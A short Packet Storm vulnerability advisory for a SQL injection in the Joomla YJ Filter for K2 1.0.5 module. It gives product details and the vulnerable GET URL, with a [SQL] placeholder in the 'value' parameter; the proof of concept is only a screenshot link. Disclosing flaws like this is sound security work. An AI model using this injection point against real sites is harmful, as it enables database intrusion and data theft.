Joomla YJ Filter For K2 1.0.5 SQL Injection

2017-12-26T00:00:00
ID PACKETSTORM:145556
Type packetstorm
Reporter Bilal Kardadou
Modified 2017-12-26T00:00:00

Description

                                        
                                            `################################################  
#Title: Joomla YJ Filter for K2 1.0.5 Module SQL Injection  
#Credit: Bilal KARDADOU  
#Vendor: http://www.youjoomla.com  
#URL:  
https://extensions.joomla.org/extensions/extension/extension-specific/k2-extensions/yj-filter-for-k2/  
#Product: 'Joomla YJ Filter for K2 version 1.0.5'  
#Extension type: Module  
#Developer: Stefan Stojanovic  
#Last updated: Apr 19 2017  
#Date added: Nov 19 2014  
#Compatibility: J2.5 - J3.X  
#Type: Paid download  
#Extension type: Module  
#Google Dork: N/A  
################################################  
#  
# Product & Service Introduction:  
#  
# YJ K2 filter also has its own K2 view which makes it easier for you to  
adjust the search results template. YJ K2 filter is using K2 search/date (  
generic ) settings from Layout & view options for Search & Date listings in  
K2 parameters Layout and View tab.  
#  
# GET -p [value]  
#  
http://127.0.0.1/joomla/modules/mod_yjk2filter/helpers/actions/get_extra_fields_form.php?field_name=YJK2FilterExtraField_1&value=1[SQL]&group=1&multiple=0&Itemid=101  
#  
#  
# PoC:  
# https://prnt.sc/hsj1b2  
#  
# Bilal KARDADOU - https://www.linkedin.com/in/kardadou/)  
################################################  
`